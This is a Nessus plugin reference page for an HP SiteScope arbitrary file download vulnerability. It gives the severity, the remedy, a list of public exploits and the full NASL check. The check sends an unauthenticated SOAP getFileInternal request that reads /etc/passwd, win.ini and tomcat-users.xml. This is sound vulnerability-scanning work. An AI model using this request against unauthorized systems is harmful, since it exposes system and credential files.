HP SiteScope getFileInternal Arbitrary File Download - Nessus

High Plugin ID: 62099

This page contains detailed information about the HP SiteScope getFileInternal Arbitrary File Download Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 62099
Name: HP SiteScope getFileInternal Arbitrary File Download
Filename: hp_sitescope_getfileinternal.nasl
Vulnerability Published: 2012-08-29
This Plugin Published: 2012-09-14
Last Modification Time: 2021-01-19
Plugin Version: 1.14
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: hp_sitescope_detect.nasl, os_fingerprint.nasl
Required KB Items [?]: www/sitescope
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information

Severity: High
Vulnerability Published: 2012-08-29
Patch Published: 2012-09-19
CVE [?]: N/A
CPE [?]: cpe:/a:hp:mercury_sitescope

Synopsis

A web application on the remote host has an arbitrary file download vulnerability.

Description

The version of HP SiteScope hosted on the remote web server has an arbitrary file download vulnerability. The application hosts a web service that allows the getFileInternal() method to be invoked without authentication. A remote, unauthenticated attacker could exploit this to download arbitrary files.

This software has other unpatched vulnerabilities, though Nessus has not checked for those issues.

Solution

For versions 11.10, 11.11, and 11.12, upgrade to SiteScope 11.13. After upgrading, disable the vulnerable API by adding '_disableOldAPIs=true' to the master.config file.

For version 11.20, contact HP Software Support Online for patches.

Public Exploits

Target Network Port(s): 8080
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the HP SiteScope getFileInternal Arbitrary File Download vulnerability:

Metasploit: exploit/multi/http/hp_sitescope_uploadfileshandler
[HP SiteScope Remote Code Execution]
Metasploit: exploit/windows/http/hp_sitescope_runomagentcommand
[HP SiteScope Remote Code Execution]
D2 Elliot: hp_sitescope_11.20_file_upload.html
[HP SiteScope 11.20 File Upload]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:N/A:N/E:POC/RL:OF/RC:C

CVSS Base Score:	7.8 (High)
Impact Subscore:	6.9
Exploitability Subscore:	10.0
CVSS Temporal Score:	6.1 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	6.1 (Medium)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(62099);
  script_version("1.14");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_bugtraq_id(55269);

  script_name(english:"HP SiteScope getFileInternal Arbitrary File Download");
  script_summary(english:"Tries to download a file");

  script_set_attribute(
    attribute:"synopsis",
    value:
"A web application on the remote host has an arbitrary file download
vulnerability."
  );
  script_set_attribute(
    attribute:"description",
    value:
"The version of HP SiteScope hosted on the remote web server has an
arbitrary file download vulnerability.  The application hosts a web
service that allows the getFileInternal() method to be invoked without
authentication.  A remote, unauthenticated attacker could exploit this
to download arbitrary files.

This software has other unpatched vulnerabilities, though Nessus has
not checked for those issues."
  );
  script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-12-176/");
  # https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-c03489683
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?c5e3c8e4");
  script_set_attribute(attribute:"solution", value:
"For versions 11.10, 11.11, and 11.12, upgrade to SiteScope 11.13. 
After upgrading, disable the vulnerable API by adding
'_disableOldAPIs=true' to the master.config file. 

For version 11.20, contact HP Software Support Online for patches."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"HP SiteScope 11.20 File Upload");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'HP SiteScope Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2012/08/29");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/09/19");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/09/14");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:hp:mercury_sitescope");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("hp_sitescope_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("www/sitescope");
  script_require_ports("Services/www", 8080);
  script_exclude_keys("Settings/disable_cgi_scanning");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

WIN_FILE = 'c:\\windows\\win.ini';
UNIX_FILE = '/etc/passwd';
SS_FILE = 'Tomcat/conf/tomcat-users.xml';
patterns[WIN_FILE] = '=MPEGVideo';
patterns[UNIX_FILE] = 'root:.*:0:[01]:';
patterns[SS_FILE] = '<tomcat-users>';

port = get_http_port(default:8080);
install = get_install_from_kb(appname:'sitescope', port:port, exit_on_fail:TRUE);

if (report_paranoia < 2 && (os = get_kb_item('Host/OS')))
{
  if ('Windows' >< os)
    files = make_list(WIN_FILE, SS_FILE);
  else
    files = make_list(UNIX_FILE, SS_FILE);
}
else
{
  files = make_list(WIN_FILE, UNIX_FILE, SS_FILE);
}

hdr = make_array('SOAPAction', '""');
url = install['dir'] + '/services/APISiteScopeImpl';
file_contents = NULL;

foreach file (files)
{
  xml = '<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
 xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:xsd="http://www.w3.org/2001/XMLSchema"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <soapenv:Body>
    <ns1:getFileInternal
     soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
     xmlns:ns1="http://Api.freshtech.COM">
       <in0 xsi:type="xsd:string">127.0.0.1</in0>
       <in1 xsi:type="xsd:string">' + file + '</in1>
    </ns1:getFileInternal>
  </soapenv:Body>
</soapenv:Envelope>';

  res = http_send_recv3(
    method:'POST',
    item:url,
    port:port,
    data:xml,
    add_headers:hdr,
    content_type:'text/xml; charset=utf-8',
    exit_on_fail:TRUE
  );
  poc = http_last_sent_request();
  
  headers = parse_http_headers(status_line:res[0], headers:res[1]);
  if (isnull(headers)) continue;
  
  match = eregmatch(string:headers['content-type'], pattern:'boundary="([^"]+)"');
  boundary = match[1];
  if (isnull(boundary)) continue;
  
  match = eregmatch(string:res[2], pattern:'getFileInternalReturn href="cid:([^"]+)"');
  cid = match[1];
  if (isnull(cid)) continue;
  
  file_contents = split(res[2], sep:'<' + cid + '>\r\n\r\n', keep:FALSE);
  file_contents = file_contents[1];
  file_contents = split(file_contents, sep:'\r\n--' + boundary, keep:FALSE);
  file_contents = substr(file_contents[0], 10);
  file_contents = zlib_decompress(data:file_contents, length:2048);
 
  if (!isnull(file_contents) && file_contents =~ patterns[file])
    break;
  else
    file_contents = NULL;
}

if (isnull(file_contents))
  audit(AUDIT_WEB_APP_NOT_AFFECTED, 'SiteScope', build_url(qs:install['dir'], port:port));

if (report_verbosity > 0)
{
  file_contents = data_protection::redact_etc_passwd(output:file_contents);
  report =
    '\nNessus requested "' + file + '" :\n\n' +
    poc +
    '\n\nWhich returned the following file contents :\n\n' +
    file_contents + '\n';
  security_hole(port:port, extra:report);
}
else security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/hp_sitescope_getfileinternal.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\hp_sitescope_getfileinternal.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/hp_sitescope_getfileinternal.nasl

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How to Run

Here is how to run the HP SiteScope getFileInternal Arbitrary File Download as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select HP SiteScope getFileInternal Arbitrary File Download plugin ID 62099.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl hp_sitescope_getfileinternal.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a hp_sitescope_getfileinternal.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - hp_sitescope_getfileinternal.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state hp_sitescope_getfileinternal.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

55269

See also:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file hp_sitescope_getfileinternal.nasl version 1.14. For more plugins, visit the Nessus Plugin Library.

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HP SiteScope getFileInternal Arbitrary File Download - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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